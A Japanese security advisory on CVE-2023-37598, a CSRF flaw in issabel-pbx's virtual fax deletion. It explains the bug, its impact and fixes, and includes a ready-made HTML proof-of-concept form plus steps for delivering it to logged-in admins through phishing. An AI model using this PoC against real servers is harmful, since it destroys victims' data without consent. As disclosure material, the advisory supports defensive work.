CVE-2023-37598 — issabel-pbx 4.0.0-6: クロスサイト・リクエスト・フォージェリ (CSRF)

概要

CVE ID: CVE-2023-37598
脆弱性タイプ: クロスサイト・リクエスト・フォージェリ (CSRF)
影響を受ける製品: issabel-pbx v4.0.0-6
深刻度: 中
発見者: Sahil Ojha
公開日: 10/07/2023
ベンダーホームページ: https://www.issabel.org/
ソフトウェアリポジトリ: https://github.com/IssabelFoundation/issabelPBX
検証OS: Windows

説明

issabel-pbx v4.0.0-6 の仮想FAX管理機能には、クロスサイト・リクエスト・フォージェリ (CSRF) の脆弱性が存在します。このアプリケーションは、仮想FAXエントリの削除アクションに対して CSRF 保護（例: アンチCSRFトークン、SameSite Cookie属性）を実装していません。

これにより、リモートの認証されていない攻撃者が悪意のあるHTMLページを作成し、認証済みの管理者またはユーザーがそのページを訪れると、被害者に代わって偽造されたHTTPリクエストがアプリケーションに静かに送信されます。この偽造リクエストにより、被害者の知らないうちに、また同意なしに仮想FAXレコードが削除され、データの損失とFAXサービスの中断が発生します。

CSRFとは?

クロスサイト・リクエスト・フォージェリ (CSRF) は、ユーザーの意図なしに、被害者のブラウザに認証済みリクエストをWebアプリケーションへ送信させる攻撃です。ブラウザはすべてのリクエストにセッションCookieを自動的に含めるため、CSRFトークンがない場合、サーバーは正当なリクエストと偽造されたリクエストを区別できません。

影響

データ損失: 攻撃者は任意のユーザーに属する仮想FAXエントリを削除でき、FAXデータに恒久的にアクセスできなくなる可能性があります。
不正な状態変更: 管理用FAXレコードは、正規ユーザーの操作や認識なしに静かに削除される可能性があります。
攻撃者に認証は不要: 攻撃者は有効な認証情報を必要としません。ログイン済みの被害者が攻撃者の管理するページを訪問するだけでよいのです。

影響を受けるコンポーネント

パラメータ	値
アプリケーション

概念実証 (PoC)

以下のHTMLファイルは、認証済みのissabel-pbxユーザーが開くと、id_fax=1 の仮想FAXを削除する偽造POSTリクエストを自動的に送信します。

ファイル: CSRF exploit.html

<html>
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://{Issabel IP}/index.php?menu=faxnew&action=view&id=1" method="POST">
      <input type="hidden" name="delete" value="Delete" />
      <input type="hidden" name="id_fax" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

注意: {Issabel IP} をターゲットサーバーのIPアドレスまたはホスト名に置き換えてください。id_fax の値を変更することで、IDで任意の仮想FAXレコードを対象にできます。

再現手順

ログインし、Issabel PBX管理パネルで仮想FAXページに移動します:
```
https://{Issabel IP}/index.php?menu=faxnew&action=view&id=1
```
Burp Suiteプロキシを使用して削除リクエストをキャプチャします。仮想FAXエントリの削除を試行し、リクエストをインターセプトして右クリックし、Engagement Tools → Generate CSRF PoC に移動します。
生成されたCSRFエクスプロイトをHTMLファイルとして保存します（上記のPoCを参照）。
すでにIssabelアプリケーションにログインしているユーザーにエクスプロイトを配信します（例: フィッシングメールや悪意のあるリンク）。被害者がページを開いて "Submit request" をクリックすると、追加の操作なしで仮想FAXエントリが削除されます。

攻撃シナリオ

攻撃者は悪意のあるHTMLファイルを外部サーバーでホストするか、メールに埋め込みます。認証されたIssabel PBX管理者が同じブラウザセッションでこのページを開くと、ブラウザは有効なセッションCookieを含む偽造POSTリクエストを自動的にIssabelサーバーに送信します。サーバーはそのリクエストを正当なものとして処理し、対象の仮想FAXレコードを削除します。被害者には警告がなく、FAX一覧を手動で確認するまで削除に気づかない可能性があります。

修正方法

この脆弱性を修正するために、ベンダーは以下の緩和策の1つ以上を実装する必要があります。

アンチCSRFトークン: すべての状態変更フォームに一意で予測不可能なセッションごとのトークンを含め、リクエストを処理する前にサーバー側で検証します。
SameSite Cookie属性: セッションCookieを SameSite=Strict または SameSite=Lax に設定し、クロスオリジンリクエストでCookieが送信されるのを防ぎます。
カスタムリクエストヘッダー: すべての機密操作にカスタムHTTPヘッダー（例: X-Requested-With: XMLHttpRequest）を要求し、サーバー側で検証します。
破壊的操作の再認証: 削除など元に戻せない操作を実行する前に、ユーザーにパスワードの再入力または本人確認を求めます。

CVE-2023-37598

人気